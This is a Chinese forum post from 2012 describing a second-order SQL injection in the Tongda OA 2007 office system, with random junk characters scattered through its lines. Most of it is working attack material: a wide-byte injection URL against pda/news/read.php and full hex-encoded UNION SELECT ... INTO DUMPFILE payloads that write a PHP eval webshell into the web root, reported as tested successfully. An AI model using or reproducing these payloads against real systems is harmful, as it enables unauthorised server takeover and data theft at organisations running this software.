目前测试通达OA2007版本$ n# L9 v& M3 ?3 Y
" C& c: Q9 N8 X3 g9 N
) j* l1 k' k) }( @3 z. a0 V! n
Office Anywhere 2007 网络智能办公系统! c/ t0 v: j! @$ s' {. Z& `' \: K9 z
! r* ` P& R6 W5 q, [5 g* c; r
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..- r: m* a: ?3 t) @% x8 r$ O
7 k/ R, A0 \+ q# ?
( S/ f$ z0 h/ s7 }8 w. n这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
. R3 }4 V7 e: }$ p) r
: o" F5 [/ Y S+ p* T, z/ _例如：SELECT * from USER where USER_ID='{$USERNAME}'
. ~1 Y* E, h' j4 G9 }其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了, E6 U( ?$ `8 t
' k v. z8 Y6 o; M3 r* v) S这个时候我们是不是可以组合起来使用哪？# X0 @" c* P3 Z7 r/ {- H
1 x) `. k6 q3 a( J第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
8 }% I: ~1 g/ n8 Tunion select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,100 W: S+ {/ a) f
" Z" p2 Z/ O% `/ l9 |7 [6 N' i这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了 H7 h; l$ o9 ^; ]4 ~" G- m
; t1 H0 _) ^* V0 L+ y
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。9 z$ ~$ q: @# A% M- J
# n& d( }! K: V/ ` }- ?
那么我们用字符串格式带入进行hex编码/ J+ s" ~. G3 r: O1 J* t1 T2 a! I" {) A `
$ X) ^ N2 G5 v3 \: l8 ^5 H7 p
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23( h! N# p$ ^% c: R' ^
( [: W* \, e' d7 k6 s% a
测试ok，获取oa的webshell
0 Q& q. m4 y, F$ j2 A
0 m1 A& w' t3 i& M8 h 3 o5 u d7 S1 e5 h- t
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
3 I! q) ]% o/ M( _: A5 S直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对